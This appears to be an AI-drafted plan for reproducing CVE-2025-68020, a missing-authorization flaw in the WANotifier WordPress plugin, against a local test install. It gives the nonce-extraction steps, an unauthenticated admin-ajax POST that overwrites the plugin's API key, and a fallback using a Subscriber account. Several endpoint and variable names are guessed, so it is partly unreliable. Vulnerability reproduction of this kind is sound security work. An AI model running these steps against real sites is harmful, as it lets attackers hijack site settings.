Exploitation Research Plan - CVE-2025-68020

1. Vulnerability Summary

The Notifications for Forms & WordPress Actions (WANotifier) plugin (versions <= 2.7.13) contains a missing authorization vulnerability. Specifically, an AJAX handler registered via wp_ajax_ (and potentially wp_ajax_nopriv_) fails to perform a capability check (e.g., current_user_can( 'manage_options' )) before performing sensitive actions. This allows an attacker to modify plugin settings, such as the WANotifier API key or other configuration parameters, leading to a loss of integrity in notification delivery.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: notifier_save_settings (inferred based on plugin functionality) or similar settings-related action.
• Vulnerable Parameter: settings (array) or specific keys like wanotifier_api_key.
• Authentication: CVSS 5.3 indicates unauthenticated access is possible (PR:N). This implies the use of wp_ajax_nopriv_ or a wp_ajax_ handler that fails to verify if a user is logged in and authorized.
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Registration: The plugin registers an AJAX action in its initialization (likely in a class handling admin or settings):
   add_action( 'wp_ajax_notifier_save_settings', [ $this, 'save_settings' ] );
add_action( 'wp_ajax_nopriv_notifier_save_settings', [ $this, 'save_settings' ] );
2. Handler Entry: The save_settings function is called.
3. Missing Check: The function checks for a nonce using check_ajax_referer but fails to check current_user_can('manage_options').
4. Sink: The function proceeds to call update_option( 'notifier_settings', $_POST['settings'] ) or similar, updating the database with attacker-supplied values.

4. Nonce Acquisition Strategy

If the vulnerable handler uses check_ajax_referer, a valid nonce is required.

• JS Variable: Likely localized via wp_localize_script.
• Search for: wp_create_nonce in the plugin code to identify the action string (e.g., 'notifier_nonce').
• JS Object: Look for objects like notifier_obj or wanotifier_data in the frontend or backend source.
• Extraction Method:
  1. Identify where the plugin enqueues scripts (e.g., the Chat Button feature mentioned in README.txt).
  2. Navigate to the homepage.
  3. Execute browser_eval("window.notifier_obj?.nonce") (exact variable name to be determined via grep).

5. Exploitation Strategy

Step 1: Discovery

Use grep to find the vulnerable AJAX registration and handler:

# Find AJAX registrations
grep -r "wp_ajax_" .

# Find handlers that lack capability checks
# Look for functions that update options but don't call current_user_can
grep -r "update_option" . -B 20

Step 2: Identify Nonce and Parameters

Locate the wp_localize_script call to find the JS variable name:

grep -r "wp_localize_script" .

Step 3: Extract Nonce (If required)

If a nonce is needed and available on the frontend:

1. Navigate to the site root: browser_navigate("http://localhost:8080/")
2. Extract the nonce: browser_eval("window.notifier_data.nonce") (inferred name)

Step 4: Perform the Exploit

Send a POST request to admin-ajax.php to overwrite the API key:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):
  action=notifier_save_settings&nonce=[NONCE]&wanotifier_api_key=ATTACKER_API_KEY
• Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

1. Install and activate WANotifier 2.7.13.
2. (Optional) Configure a dummy API key in the settings to have something to overwrite.
3. Ensure "WhatsApp Chat Button" is enabled in settings (if that's the source of the frontend nonce).

7. Expected Results

• HTTP Response: 200 OK or a JSON success message (e.g., {"success":true}).
• Payload Effect: The plugin's internal settings will be updated with the malicious values provided in the POST request.

8. Verification Steps

After the exploit, verify the change using WP-CLI:

# Check the value of the setting in the database
wp option get notifier_settings
# OR if stored as a specific key
wp option get wanotifier_api_key

If the value matches ATTACKER_API_KEY, the exploit is successful.

9. Alternative Approaches

If wp_ajax_nopriv_ is NOT registered, the vulnerability might require a low-privileged user (e.g., Subscriber).

1. Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber
2. Authenticate as Subscriber and repeat the exploit.
3. If admin-ajax.php is blocked for non-admins, check for REST API endpoints:
   grep -r "register_rest_route" .
   Check if permission_callback is set to __return_true.